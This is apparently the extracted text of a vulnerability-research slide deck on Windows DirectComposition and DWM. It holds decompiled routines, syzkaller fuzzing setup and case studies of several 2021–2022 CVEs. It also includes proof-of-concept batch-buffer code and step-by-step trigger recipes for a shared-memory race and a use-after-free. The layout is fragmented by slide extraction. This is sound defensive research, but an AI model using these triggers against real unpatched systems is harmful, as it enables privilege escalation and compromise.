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Architecture



DirectComposition Introduction

Microsoft DirectComposition is a Windows component that enables high-
performance bitmap composition with transforms, effects, and animations. 
Application developers can use the DirectComposition API to create 
visually engaging user interfaces that feature rich and fluid animated 
transitions from one visual to another.

DirectComposition API provides COM interface via dcomp.dll, calls 
win32kbase.sys through win32u.dll export function, and finally sends data 
to client program dwm.exe (Desktop Window Manager) through Shared 
Section to complete the graphics rendering operation.
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DirectComposition Architecture
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DirectComposition syscalls

NtDCompositionCreateChannel creates a channel to comm-unicate
with the kernel
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typedef NTSTATUS(*pNtDCompositionCreateChannel)(
OUT     PHANDLE hChannel,
IN OUT  PSIZE_T pSectionSize,
OUT     PVOID* pMappedAddress

);



DirectComposition syscalls

NtDCompositionProcessChannelBatchBuffer batches multiple commands

The batched commands are stored in the pMappedAddress memory 
returned by NtDCompositionCreateChannel. 
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typedef NTSTATUS(*pNtDCompositionProcessChannelBatchBuffer)(
IN PHANDLE hChannel,
IN DWORD dwArgStart,
OUT PDWORD pOutArg1,
OUT PDWORD pOutArg2

);



DirectComposition syscalls

NtDCompositionCommitChannel build batch command bufer and send to DWM 
process.

AnimationCommands, BeginInteractionCommands, UpdateCommands, BindingAddCom
mands, CreationCommands.
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typedef NTSTATUS(*pNtDCompositionCommitChannel)(
IN     HANDLE hChannel,
OUT    PDWORD out1,
OUT    PDWORD out2,
IN     DWORD flag,
IN     HANDLE Object

);



DirectComposition kernel command
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• Associate with a channel

• Returned from 
NtDCompositionCreateChannel

• NtDCompositionProcessChannelBatchBuf
fer parse it

• This function support a lot of commands



DirectComposition vtable functions
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• GetType
• IsOfType
• EmitCreationCommand
• EmitDeletionCommand
• EmitUpdateCommands
• ReleaseAllReferences
• SetIntegerProperty
• SetReferenceProperty
• SetRemarshalingFlags



DirectComposition object functions
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Dwmcore object functions
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DirectComposition Type Related Functions

signed __int64 DirectComposition::CVisualMarshaler::GetType()
{

return 0xBDi64;
}

bool __fastcall DirectComposition::CVisualMarshaler::IsOfType(
__int64 a1, int a2)

{
return a2 == 0xBD;

}
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SetReference Function
__int64 __fastcall DirectComposition::CShapeMarshaler::SetReferenceProperty(

__int64 this, __int64 a2, int a3, __int64 a4, bool *a5)
{

...
v5 = this + 56;
v6 = 0;
*a5 = 0;
if ( v5 && (!a4 || (*(unsigned __int8 (__fastcall **)(__int64, _QWORD, _QWORD))(*(_QWORD *)a4 +

96i64))(a4, a3 == 0 ? 0x1B : 0, (unsigned int)-a3)) )       // Type check
{

if ( *(_QWORD *)v5 != a4 )
{

DirectComposition::CApplicationChannel::ReleaseResource(a2, *v5);
*(_QWORD *)v5 = a4;
if ( a4 )

DirectComposition::CResourceMarshaler::AddRef(a4); // Add Reference
*(_DWORD *)(this + 16) |= v10;
*a5 = 1;

}
}
...
return v6;

}
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DirectComposition Release Function
void __fastcall DirectComposition::CVisualMarshaler::ReleaseAllReferences(

__int64 this, struct DirectComposition::CApplicationChannel *a2)
{

...
v4 = *(this + 152);
if ( v4 )
{

DirectComposition::CApplicationChannel::ReleaseResource(a2, v4);
*(this + 0x98) = 0i64;

}
v5 = *(this + 0x78);
if ( v5 )
{

DirectComposition::CApplicationChannel::ReleaseResource(a2, v5);
*(this + 0x78) = 0i64;

}
...

}17



SetInteger Function
__int64 __fastcall DirectComposition::CInjectionAnimationMarshaler::SetIntegerProperty(

__int64 this, __int64 a2, int PropertyId, __int64 PropertyValue, bool *a5)
{

...
v5 = 0;
*a5 = 0;
if ( PropertyId == 0xB )
{

if ( *(this + 0x78) == PropertyValue ) // check value if it’s same
return v5;

*(this + 0x78) = PropertyValue;
goto LABEL_8;

}
if ( PropertyId == 0xC )
{

if ( *(this + 0x80) == PropertyValue )
return v5;

*(this + 0x80) = PropertyValue;
LABEL_8:

*(this + 16) &= ~0x400u; // set object flag
*a5 = 1; // success or unsuccess
return v5;

}
}
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DirectComposition Handle Table
__int64 __fastcall DirectComposition::CApplicationChannel::CreateResource(

__int64 DirectComposition_CApplicationChannel, unsigned int a2, ...)
{

...
if ( a4 )

inserted1 = DirectComposition::CApplicationChannel::CreateInternalSharedResource(
DirectComposition_CApplicationChannel, a3, &newresourceobject);

else
inserted1 = DirectComposition::CApplicationChannel::CreateInternalResource(

DirectComposition_CApplicationChannel, a3, &newresourceobject);
inserted = inserted1;

if ( inserted1 >= 0 )
{

// create handle here
inserted = DirectComposition::CLinearObjectTableBase::InsertObject(

DirectComposition_CApplicationChannel + 0x38, newresourceobject, a2);
}
...

}19



DirectComposition object reference
__int64 __fastcall DirectComposition::CApplicationChannel::AddVisualChild(

__int64 DirectComposition_CApplicationChannel, int resourceId, int resourceId1, 
unsigned int a4, unsigned int resourceId2)

{
...
// Get Marshal Object from handle
v6 = (resourceId - 1);
if ( resourceId && v6 < *(DirectComposition_CApplicationChannel + 0x50) )
{

_mm_lfence();
DirectComposition_CMarshaler1 = *(v6 * *(DirectComposition_CApplicationChannel + 

0x58) + *(DirectComposition_CApplicationChannel + 0x38));
}
else
{

DirectComposition_CMarshaler1 = 0i64;
}
...

}
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SetRemarshalingFlags Function
char __fastcall DirectComposition::CDDisplayRenderTargetMarshaler::SetRemarshalingFlags

(__int64 this)
{

...
if ( *(_DWORD *)(this + 68) || *(_QWORD *)(this + 80) )

*(_DWORD *)(this + 16) |= 0x20u;
v1 = *(_DWORD *)(this + 16);
if ( *(_QWORD *)(this + 144) )

v1 |= 0x40u;
v2 = *(float *)(this + 132);
v3 = v1 | 0x80;
*(_DWORD *)(this + 16) = v3;
if ( v2 != 1.0 )

*(_DWORD *)(this + 16) = v3 | 0x100;
...

}
21



DWM Process Restart Recovery
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User Mode

CAnimationMarshaler
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DWM Process Restart Recovery CallStack
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DWM Process Restart Recovery
void __fastcall DirectComposition::CApplicationChannel::CompleteReconnection(__int64 this)
{

...
while ( 1 )
{

// 1. Enumerate all Marshal object
CResourceMarshaler = DirectComposition::CLinearObjectTableBase::EnumerateObjects(this + 0x70, &v10);
if ( !CResourceMarshaler )

break;
*(CResourceMarshaler + 8) = *(this + 0x190); // 2. Add Marshaler object to EmitCreateCommand list
*(this + 0x190) = CResourceMarshaler;
if ( (*(*CResourceMarshaler + 0x58i64))(CResourceMarshaler) ) // 3. Call SetRemarshalingFlags function

*(CResourceMarshaler + 0x10) |= 2u;
...

}
...
if ( (*(this + 0xF0) & 1) == 0 )
{

v8 = *(this + 0xA8);
// 4. Calls CommitChannel function
if ( !v8 || !*(v8 + 0x28) )

DirectComposition::CApplicationChannel::Commit(this, 0i64, 0, 0i64);
}

}
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Poc Example
// Create channel handle
ntStatus = NtDCompositionCreateChannel(&hChannel1, &SectionSize, &pMappedAddress);
if (ntStatus) {

printf("NtDCompositionCreateChannel : 0x%x\n", ntStatus);
return;

}

// 1. Create CExpressionMarshaler Object
*(DWORD*)(pMappedAddress) = nCmdCreateResource; // Create Command Id
*(DWORD*)((PUCHAR)pMappedAddress + 4) = 1; // Resource Handle Id
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 0x37; // Resource Type
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE; // not shared resource

ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel1, 0x10, &pOutArg1, &pOutArg2);
if (ntStatus) {

printf("Create resource : 0x%x\n", ntStatus);
return;

}
// CommitChannel
ntStatus = NtDCompositionCommitChannel(hChannel1, &res1, &res2, 1, 0);
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CreateCommand Buffer Create for dwm
bool __fastcall DirectComposition::CApplicationChannel::EmitCreationCommands(

__int64 DirectComposition_CApplicationChannel, struct DirectComposition::CBatch **a2)
{

...
for ( i = *(DirectComposition_CApplicationChannel + 0x190);

i && (*(*i + 0x40i64))(i, a2); // Call object EmitCreationCommand function
// Remove current Object From Linked List
*(DirectComposition_CApplicationChannel + 0x190) = i )

{
// Flag, Already called EmitCreationCommand function
*(*(DirectComposition_CApplicationChannel + 0x190) + 0x10i64) |= 1u;
v5 = *(DirectComposition_CApplicationChannel + 0x190);
// point to next object
i = *(v5 + 8);
...

}
return *(DirectComposition_CApplicationChannel + 0x190) == 0i64;

}
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EmitCreation Function
char __fastcall DirectComposition::CResourceMarshaler::EmitCreationCommand(

__int64 DirectComposition_CResourceMarshaler, __int64 DirectComposition_CBatch)
{

...
AllocatedSize = *(v5 + 0x28);
if ( (0x1000 - AllocatedSize) >= 0x10 )
{

...
if ( CommandBuffer )
{

*(DirectComposition_CBatch + 0x98) += 16i64; // Point to the next command position
*CommandBuffer = 0x10; // command size
*(CommandBuffer + 4) = 0i64;
*(CommandBuffer + 0xC) = 0;
*(CommandBuffer + 4) = 0x2D; // commandId
*(CommandBuffer + 8) = *(DirectComposition_CResourceMarshaler + 0x18);  // Object ID
*(CommandBuffer + 0xC) = (*(*DirectComposition_CResourceMarshaler + 

0x10i64))(DirectComposition_CResourceMarshaler);        // Call GetType function
return 1;

}
}
...
return 0;

}
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Poc Example
// SetIntegerProperty
*(DWORD*)(pMappedAddress) = nCmdSetResourceIntegerProperty; // SetIntegerProperty Command Id
*(DWORD*)((PUCHAR)pMappedAddress + 4) = 1; // Object Handle Id
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 1; // Property Id
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = 0; // Clear Memory
*(DWORD*)((PUCHAR)pMappedAddress + 0x10) = 1; // Property Value, 64 bits

ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel1, 0x18, &pOutArg1, &pOutArg2);
if (ntStatus) {
printf("NtDCompositionProcessChannelBatchBuffer : 0x%x\n", ntStatus);
}

// SetReferenceProperty
*(DWORD*)(pMappedAddress) = 0xd; // SetReferenceProperty Command Id
*(DWORD*)((PUCHAR)pMappedAddress + 4) = 1; // Object Handle Id 1
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 2; // Property Id
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = 2; // Object Handle Id, bind to Object 1

ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel1, 0x10, &pOutArg1, &pOutArg2);
if (ntStatus) {
printf("NtDCompositionProcessChannelBatchBuffer : 0x%x\n", ntStatus);
}

// CommitChannel
ntStatus = NtDCompositionCommitChannel(hChannel1, &res1, &res2, 1, 0);
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Update command linked list
__int64 __fastcall DirectComposition::CApplicationChannel::ProcessCommandBufferIterator(...)
{

... After Call SetIntegerProperty, SetReferenceProperty and other change property functions
if ( nStatus >= 0 )
{

flags = *(DirectComposition_MarshalObj + 0x10);
if ( (flags & 2) == 0 )
{

if ( (flags & 9) == 1 )
{

// Call IsOfType
if ( (*(*DirectComposition_MarshalObj + 0x78i64))(DirectComposition_MarshalObj, 0xA7i64) )

offset = 0x1A0i64;
else

offset = 0x198i64;
// Add object to CApplicationChannel object linked list
*(DirectComposition_MarshalObj + 8) = *(DirectComposition_CApplicationChannel + offset);
*(DirectComposition_CApplicationChannel + offset) = DirectComposition_MarshalObj;
LODWORD(flags) = *(DirectComposition_MarshalObj + 0x10);

}
flags = flags | 2;
*(v25 + 0x10) = flags;

}
}
...

}29



Update command buffer for dwm

bool __fastcall DirectComposition::CApplicationChannel::EmitSharedSectionUpdateCommands(
__int64 DirectComposition_CApplicationChannel, struct DirectComposition::CBatch **a2)

{
...
for ( i = *(DirectComposition_CApplicationChannel + 0x1A0);

// Call object EmitUpdateCommands function to create command buffer
i && (*(*i + 0x50i64))(i, a2);
// Call object EmitUpdateCommands function to create command buffer

*(DirectComposition_CApplicationChannel + 0x1A0) = i )
{

// clear object flags
*(*(DirectComposition_CApplicationChannel + 0x1A0) + 0x10i64) &= 0xFFFFFFFD;
v6 = *(DirectComposition_CApplicationChannel + 0x1A0);
i = *(v6 + 8); // point to next object
*(v6 + 8) = 0i64; // delete pointer

}
return *(DirectComposition_CApplicationChannel + 0x1A0) == 0i64;

}
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DWM Command Structure
char __fastcall DirectComposition::CAnimationMarshaler::EmitUpdateCommands(

__int64 this, struct DirectComposition::CBatch **a2)
{

...
// flag check
if ( (*(this + 0x10) & 0x20000) != 0 )
{

if ( !DirectComposition::CBatch::EnsureBatchBuffer(a2, 0x10ui64, &a3) )
return 0;

v7 = a3;
*a3 = 0x10; // command buffer length
*(v7 + 4) = 0i64;
*(v7 + 12) = 0;
*(v7 + 4) = 4; // command id
*(v7 + 8) = *(this + 0x18); // object id
*(v7 + 12) = *(this + 0xD0); // object property value
*(this + 0x10) &= 0xFFFDFFFF; // clear the flag 

}
...

}

31
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Command List 
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Creation Commands

CAnimationMarshaler

Update Commands Deletion Commands Deletion Commands

CInteractionMarshale
r

CKeyframeAnimation
Marshaler

CMaskBrushMarshal
er

CPropertySetMarshal
er

CShadowEffectMarshale
r

CShapeVisualMarshal
er

CTransformGroupMa
rshaler

CViewBoxMarshaler

CVisualMarshaler

CAnimationTriggerM
arshaler

CEffectGroupMarshale
r

CExpressionMarshal
er

CFilterEffectMarshale
r

CFloodEffectMarshal
er

CGenericInkMarshale
r

CGenericMarshaler

CInteractionTrackerM
arshaler

CLinearTransferEffec
tMarshaler

CManipulationMarshale
r

CApplicationChannel Object
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Attack Surface



DirectComposition Syscalls & Objects

34



DWM Dispatch Routine
__int64 __stdcall CComposition::ProcessMessage(struct CComposition *this, unsigned int commandId, 

__int64 commandBufferStart, __int64 commandLength, struct CResourceTable *CChannelContext,
__int64 a6)

{
...
case 0x295u:
if ( (_DWORD)commandLength != 12
|| (v760 = CResourceTable::GetResource(a6, *(_DWORD *)(commandBufferStart + 4), 0xB8u)) == 0 )
{

CComposition::FailFastOnMalformedPacket((__int64)this, 0x316D3121, 0i64);
}
nStatus = CScaleTransformGeneratedT<CScaleTransform,CTransform>::SetCenterX(v760, 
*(float *)(commandBufferStart + 8));

nStatus1 = nStatus;
if ( nStatus >= 0 )

return nStatus1;
v762 = 15575;
goto LABEL_3375;

default:
CComposition::FailFastOnMalformedPacket((__int64)this, 0x3FA80D42, 0i64);

}

35



DirectComposition Architecture
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dcomp.dll

win32u.dll

syscalls

Share Section

win32kbase.sys

Dwm.exe

User Mode Kernel Mode

ALPC

Kernel Mode

dwmapi.dll

\\DwmApiPort

⚔
⚔

⚔
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How to fuzz



How to fuzz

38

syz-manager corpus.db

sshd syz-fuzzer syz-executor

win32kbase.sys

Load, store

Vm ManagementRPCscp, ssh

invoke ipc

coverage

coverage syscalls

kcov

Qemu VM



Rewrite syz-stress
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win32kbase.sys

Add NtDCompositionCommitChannel

Monitor process

corpus.db

syz-stress syz-executor

dwm.exe



Syzkaller program corpus
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Syzkaller program corpus
NtDCompositionCreateChannel(&(0x7f0000000000)=<r0=>0x0, 

&(0x7f0000001000)=0x1000, &(0x7f0000002000)=0x0)

NtDCompositionProcessChannelBatchBuffer$1(r0, 0x10, 
&(0x7f000000c000)={0x1, 0x0, 0x20, 0x0}, &(0x7f000000d000)=0x0, 
&(0x7f000000e000)=0x0, &(0x7f000000f000)=<r2=>0x0)

NtDCompositionProcessChannelBatchBuffer$2(r0, 0x10, 
&(0x7f0000010000)={0x1, 0x0, 0x5e, 0x0}, &(0x7f0000011000)=0x0, 
&(0x7f0000012000)=0x0, &(0x7f0000013000)=<r3=>0x0)

NtDCompositionProcessChannelBatchBuffer_wp$3(r0, 0x10, 
&(0x7f0000014000)={0xd, r2, 0x100000000, @res5=r3}, 
&(0x7f0000015000)=0x0, &(0x7f0000016000)=0x0)
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Syzkaller program corpus
NtDCompositionCreateChannel(&(0x7f0000000000)=<r0=>0x0, 

&(0x7f0000001000)=0x1000, &(0x7f0000002000)=0x0)

NtDCompositionProcessChannelBatchBuffer$1(r0, 0x10, 
&(0x7f000000c000)={0x1, 0x0, 0x20, 0x0}, &(0x7f000000d000)=0x0, 
&(0x7f000000e000)=0x0, &(0x7f000000f000)=<r2=>0x0)

NtDCompositionProcessChannelBatchBuffer$2(r0, 0x10, 
&(0x7f0000010000)={0x1, 0x0, 0x5e, 0x0}, &(0x7f0000011000)=0x0, 
&(0x7f0000012000)=0x0, &(0x7f0000013000)=<r3=>0x0)

NtDCompositionProcessChannelBatchBuffer_wp$3(r0, 0x10, 
&(0x7f0000014000)={0xd, r2, 0x100000000, @res5=r3}, 
&(0x7f0000015000)=0x0, &(0x7f0000016000)=0x0)

NtDCompositionCommitChannel(r0, &(0x7f0000017000)=0x0, 
&(0x7f0000018000)=0x0, 0x0, 0x0)42



CVE-2021-41339
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CVE-2021-41339
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__int64 __fastcall CCompositionGlyphRun::ProcessSetBrush(unsigned __int64 this, 
struct CResourceTable *a2, __int64 a3)

{
...
v4 = 0;
v5 = *(_DWORD *)(a3 + 8);
Resource = 0i64;
// can be CSurfaceBrush, CLinearGradientBrush and other object
// parent object is CBrush object
if ( !v5 || (Resource = CResourceTable::GetResource((__int64)a2, v5, 0xEu)) != 0 )
{

if ( Resource != *(_QWORD *)(this + 0x38) )
{

v9 = CResource::RegisterNotifier(this, Resource);
v4 = v9;
...

}
}
...

}



Fuzzer Promblem
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__int64 __fastcall CConditionalExpression::ProcessAddConditionAnimationResources(__int64 this, struct
CResourceTable *a2, __int64 a3, __int64 a4)

{
...
if ( *(_DWORD *)(a3 + 8) )
{

while ( 1 )
{

v9 = *(_DWORD *)a4;
ResourceWithoutType = CResourceTable::GetResourceWithoutType(a2, v9);
if ( !ResourceWithoutType

|| !(*(unsigned __int8 (__fastcall **)(struct CResource *, __int64))(*(_QWORD 
*)ResourceWithoutType + 48i64))(ResourceWithoutType, 0x37i64) ) // type check
...

}
v26 = 68;
v25 = 0x88980403;
v17 = 0x88980403;

LABEL_26:
// throw exception, possible lead to process crash
MilInstrumentationCheckHR_MaybeFailFast(v11, 0i64, 0, v25, v26, 0i64);
...

}
...

}
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Vulnerabilities Analysis



Case Study:  CVE-2022-21896
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__int64 __fastcall CExpression::ReadValueFromCache(__int64 this, __int64 a2, __int64 a3, char *a4)
{
...
sharedmemAddr = *(_QWORD *)(this + 336) + v5;
v13 = *(_DWORD *)sharedmemAddr;
if ( *(_DWORD *)sharedmemAddr )
{

if ( v13 <= 52 )
{

...
v15 = v13 - 11;
if ( !v15 )
{

v8 = CExpression::EnsureCacheBounds(this, v5, 0x10ui64);
v11 = v8;
if ( v8 >= 0 )
{

v20 = *(_QWORD *)(sharedmemAddr + 8); // get CPathData pointer from share memory
*(_DWORD *)(a3 + 72) = 11;
*(_BYTE *)(a3 + 76) = 1;
Microsoft::WRL::ComPtr<CPathData>::operator=(a3 + 64, v20); // untrust pointer reference here
...

}
}

}
...
}
...

}



CVE-2022-21896
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__int64 *__fastcall Microsoft::WRL::ComPtr<CPathData>::operator=(
__int64 a1, __int64 a2)

{
...
if ( *(_QWORD *)a1 != a2 )
{

v6 = a2;
Microsoft::WRL::ComPtr<IMessageCallSendHost>::InternalAddRef(&v6);
v4 = *(_QWORD *)a1;
*(_QWORD *)a1 = a2;
if ( v4 )

(*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 16i64))(v4);
}
return (__int64 *)a1;

}



How to set up share memory
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NtDCompositionCreateAndBindSharedSection create shared memory between 
dwm and attacker process. Second Parameter is the handle of CSharedSection.

typedef NTSTATUS(*pNtDCompositionCreateAndBindSharedSection)(
IN     HANDLE hChannel,
IN     DWORD  hSharedSection,
IN     SIZE_T SectionSize,
IN     VOID*  pMappedAddress

);



CVE-2022-21896
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__int64 __fastcall DirectComposition::CSharedSectionMarshaler::CreateDwmHandle(
__int64 this)

{
...
GreLockDwmState();
v2 = ReferenceDwmProcess();
if ( v2 )
{

memset(Dst, 0, sizeof(Dst));
KeStackAttachProcess(v2, Dst);
v4 = 1;
ObOpenObjectByPointer(*(this + 0x28), 0xC0000000i64, 0i64, 6i64, 

*MmSectionObjectType, v4, &v5);
KeUnstackDetachProcess(Dst);
ObfDereferenceObject(v2);

}
GreUnlockDwmState();
return v5;

}



CVE-2022-21896

51

__int64 __fastcall CExpression::ProcessSetNodesInfo(unsigned __int64 a1, __int64 a2, 
__int64 commandBufferStart)

{
...
if ( *(_DWORD *)(commandBufferStart + 36) )
{

v12 = (__int64)CSharedSection::ResolveAllocation(*(_QWORD *)(v6 + 328),
*(unsigned int *)(commandBufferStart + 28), *(unsigned int *)(v6 + 344));

*(_QWORD *)(v6 + 336) = v12; // allocate buffer from share memory
if ( v12 )
{

if ( *(_DWORD *)(commandBufferStart + 32) )
memset_0((void *)v12, 0, v13); // clear the memory

goto LABEL_13;
}
...

}
LABEL_13:

v11 = CBaseExpression::TryRegisterWithExpressionManager(v6);
...

}



CVE-2022-21896
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CComposition::PreRender

CExpressionManager::UpdateExpressions

CBaseExpression::CalculateValue

CExpression::CalculateValueWorker

CExpressionValueStack::ProcessReferenceNode

CExpression::ReadValueFromCache



CVE-2022-21896
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CVE-2022-21896
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1. Create CExpressionMarshaler object

2. Create the three CSharedSectionMarshaler objects (it will be used in the registered process)

3. Call NtDCompositionCreateAndBindSharedSection function on the first 
CSharedSectionMarshaler object to create a share memory between dwm and attacker 
process, then map it to the attacker process

4. Call NtDCompositionCreateAndBindSharedSection function on the second 
CSharedSectionMarshaler object, it better to create a big share memory, the more bigger size, 
the more time it will spend on memset, and the more chance we can win the race.

5. Call NtDCompositionCreateAndBindSharedSection function on third 
CSharedSectionMarshaler object to create a share memory between dwm and attacker 
process, then map it to the attacker process, this share memory is used in 
CExpression::CalculateValueWorker



CVE-2022-21896

55

6. Call SetReferenceProperty and SetReferenceProperty on CExpressionMarshaler object

7. Call SetIntegerProperty to set the memset size in `CExpression::ProcessSetNodesInfo`, I use 
0x2000000, the same size as the whole share memory.

8. Call SetBufferPropery on the CExpressionMarshaler object, this data is use in 
`CExpression::RegisterSourcesForOwner` and 
`CExpressionValueStack::ProcessReferenceNode`. 

9. Call SetResourceReferenceArrayProperty on the CExpressionMarshaler object

10. Create a thread and pass the second share memory address, hope can win the race.

11. Call NtDCompositionCommitChannel
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__int64 __fastcall CKeyframeAnimation::AddKeyframeData(__int64 a1, int a2, 
double xmm2_8_0, __int64 shareMem, unsigned int a5)

{
...
v9 = *(_DWORD *)(shareMem + 4);
...
// set in CKeyframeAnimation::SetOutputType function
OutputType = *(_DWORD *)(a1 + 0x90);
...
v20 = OutputType - 11;
if ( v20 )
{

...
}
v55 = *(unsigned int *)(shareMem + 32); // get array index from share memory
v56 = *(_QWORD *)(a1 + 424);
...
Microsoft::WRL::ComPtr<CPathData>::operator=((__int64)&v59, 

*(_QWORD *)(v56 + 8 * v55)); // out of bound access here
...

}



Case Study:   CVE-2022-21902

57



Case Study:   CVE-2022-21994

58

__int64 __fastcall CBaseExpression::ProcessSetTarget(CBaseExpression *this, CResourceTable *a2, 
__int64 commandBufferStart)

{
...
v3 = *(_DWORD *)(commandBufferStart + 12);
ResourceWithoutType = 0i64;
v5 = (__int64)a2;
v6 = (__int64)this;
if ( v3 )

// didn't check the target type
ResourceWithoutType = CResourceTable::GetResourceWithoutType(a2, v3);
...

if ( (v7 & 0x20) == 0 || CBaseExpression::GetAnimationLoggingManagerNoRef(v6) )
{

LOBYTE(v13) = *(_BYTE *)(commandBufferStart + 32);
v8 = CBaseExpression::SetTarget(v6, *(_DWORD *)(v5 + 48), (__int64)ResourceWithoutType, 
*(_DWORD *)(commandBufferStart + 16), *(_DWORD *)(commandBufferStart + 36), 
*(unsigned __int16 *)(commandBufferStart + 34), v13, *(CBaseExpression **)(commandBufferStart + 
24));

v10 = v8;
if ( v8 < 0 )

MilInstrumentationCheckHR_MaybeFailFast(v9, 0i64, 0, v8, 0x60u, 0i64);
else

return 0;
}
...

}
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struct CResource *__fastcall CResourceTable::GetResourceWithoutType(CResourceTable *this, unsigned int
a2)
{

...
if ( a2 && a2 < *((_DWORD *)this + 7) && (v2 = a2 * *((_DWORD *)this + 6), 

v3 = *((_QWORD *)this + 5), *(_DWORD *)(v2 + v3)) )
{

return *(struct CResource **)(v2 + v3 + 8);
}
else
{

return 0i64;
}

}
__int64 __fastcall CResourceTable::GetResource(__int64 a1, unsigned int ResourceId, unsigned int a3)
{

...
if ( ResourceId && ResourceId < *(_DWORD *)(a1 + 28) ... && (a3 == 0x90 || (*(unsigned __int8

(__fastcall **)(__int64, _QWORD))(*(_QWORD *)v6 + 0x30i64))(v6, a3)) )// Call IsOfType function
{

return *(_QWORD *)(v5 + v3 + 8);
}
else
{

return 0i64;
}

}
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__int64 __fastcall CBaseExpression::SetTarget(__int64 a1, int a2, __int64 a3, int a4, unsigned int a5, 
int a6, CBaseExpression *a7,CBaseExpression *a8)

{
...
if ( a3 )
{

v13 = CWeakReference_CVisual_::Create(a3, &v26); // get weakref pointer of target object
v15 = v13;
if ( v13 >= 0 )
{

v8 = v26;
goto LABEL_5;

}
// handle failue
...

}
LABEL_5:

v16 = a1 + 176;
ReleaseInterface<CDisplay>((__int64 *)(a1 + 176)); // release old object
if ( v8 && *(_QWORD *)(v8 + 16) )
{

v26 = 0i64;
*(_QWORD *)v16 = v8; // store weak ref pointer into CBaseExpression object

}
...

}
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__int64 __fastcall CInjectionAnimation::CalculateValueWorker(__int64 this, struct CExpressionValueStack *a2,
__int64 a3, bool *a4)

{
...
v4 = *(_QWORD *)(this + 176); // still not check the object type here
if ( v4 )

v7 = *(_QWORD *)(v4 + 16); // get original object pointer from weakref
else

v7 = 0i64;
v8 = *(_DWORD *)(this + 320);
if ( v8 < *(_DWORD *)(this + 324) )
{

v9 = v8;
do
{

v10 = *(_QWORD *)(this + 312);
v11 = 0x84i64 * v9;
if ( *(_DWORD *)(v11 + v10) != *(_DWORD *)(this + 328) )

break;
// target object treated as CManipulation object and type confusion!
v12 = CManipulation::InjectManipulation((CManipulation *)v7, 

(const struct InjectManipulationArgs *)(v10 + 4 + v11));
...

} while ( v8 < *(_DWORD *)(this + 324) );
}
...

}
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__int64 __fastcall CManipulation::Update(__int64 this, __int64 a2)
{

...
// out of bound access here
v3 = this + 256;
v5 = this + 268;
v6 = this + 292;
v8 = this + 300;
...
v12 = this + 384;
v31 = *(float *)(a2 + 44) * *(float *)v8;
// overflow write
*(_OWORD *)v3 = *(_OWORD *)a2;
*(_OWORD *)(v3 + 16) = *(_OWORD *)(a2 + 16);
*(_OWORD *)(v3 + 32) = *(_OWORD *)(a2 + 32);
*(_OWORD *)(v3 + 48) = *(_OWORD *)(a2 + 48);
*(_OWORD *)(v3 + 64) = *(_OWORD *)(a2 + 64);
*(_OWORD *)(v3 + 80) = *(_OWORD *)(a2 + 80);
...

}
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__int64 __fastcall CProxyGeometry::ProcessSetViewBox(__int64 this, struct CResourceTable *a2, 
__int64 a3)

{
...
ResourceWithoutType = (__int64)CResourceTable::GetResourceWithoutType(a2, *(_DWORD *)(a3 + 8));
if ( !ResourceWithoutType

|| (*(unsigned __int8 (__fastcall **)(__int64, __int64))(*(_QWORD *)ResourceWithoutType + 
48i64))(ResourceWithoutType, 0xBBi64) ) // type check

{
*(_DWORD *)(this + 0x20) |= 1u;
*(_QWORD *)(this + 0x90) = ResourceWithoutType; // store object here
CResource::NotifyOnChanged(this, 0, 0i64); // trigger UAF here
v8 = *(_QWORD *)(this + 24);
if ( (v8 & 2) != 0 )
v9 = *(_QWORD *)(v8 & 0xFFFFFFFFFFFFFFFCui64);

else
v9 = *(_QWORD *)(this + 24) & 1i64;

CPtrArrayBase::InsertAt(this + 24, *(_QWORD *)(this + 0x90), v9); // register notify object
}
...

}
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publisher CProxyG
eometry

CViewBox 1

CViewBox 2

CViewBox 3

change attributes
CResource::NotifyOnChanged

CResource::NotifyOnChanged

CResource::NotifyOnChanged

CProxyGeometry::ProcessSetViewBox
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Repeat 0x1000 time
Create CProxyGeometry object

Create CViewBox object

SetReferenceProperty on 
CProxyGeometry

NtDCompositionCommitChannel

Create CViewBox object

SetReferenceProperty on 
CProxyGeometry

NtDCompositionCommitChannel
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Repeat 0x1000 time

Create CViewBox object

SetReferenceProperty on 
CProxyGeometry

Crash

Release all CViewBox objects

NtDCompositionCommitChannel

NtDCompositionCommitChannel
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__int64 __fastcall CInteractionTracker::ProcessSetInertiaModifierAnimations(
__int64 this, struct CResourceTable *a2, __int64 commandBuffer, 
__int64 a4, unsigned int a5)

{
...
if ( *(_DWORD *)(commandBuffer + 0x10) )
{

v11 = 4i64 * *(unsigned int *)(commandBuffer + 0x10);
if ( !is_mul_ok(*(unsigned int *)(commandBuffer + 0x10), 4ui64) )

v11 = 0xFFFFFFFFFFFFFFFFui64;
*(_QWORD *)(this + 8i64 * *(unsigned int *)(commandBuffer + 8) + 0x198) = 

operator_new__(v11);
// Arbitrary memory allocation and we can control the whole memory
memcpy_0(

*(void **)(this + 8i64 * *(unsigned int *)(commandBuffer + 8) + 0x198),
(const void *)a4, *(unsigned int *)(commandBuffer + 0x10));

}
...

}
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__int64 __fastcall CInjectionAnimation::ProcessSetInjectionData(__int64 this, struct CResourceTable *a2, 
__int64 a3)

{
...
*(_DWORD *)(this + 324) = *(_DWORD *)(a3 + 16) / 0x84u; // calculate block size
v8 = CBaseExpression::SetChannelHandle(this, *((_DWORD *)a2 + 12));
v10 = v8;
if ( v8 < 0 )

...
else
{

v11 = (__int64)CSharedSection::ResolveAllocation(Resource, *(unsigned int *)(a3 + 12), 
*(unsigned int *)(a3 + 16));

if ( !v11 )
{

...      
}
// recalculate the buffer size and allocate the memory
v12 = (__int64)operator_new__(saturated_mul(*(int *)(this + 324), 0x84ui64));
*(_QWORD *)(this + 312) = v12;
if ( v12 )
{

memcpy_0((void *)v12, (const void *)v11, *(unsigned int *)(a3 + 16)); // buffer overflow !
*(_BYTE *)(*(_QWORD *)(*(_QWORD *)(this + 16) + 240i64) + 416i64) |= 2u;
return 0;

}
...
}

}
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// 1. Create CInjectionAnimation Object
*(DWORD*)(pMappedAddress1) = nCmdCreateResource;
*(DWORD*)((PUCHAR)pMappedAddress1 + 4) = 1;
*(DWORD*)((PUCHAR)pMappedAddress1 + 8) = 85;
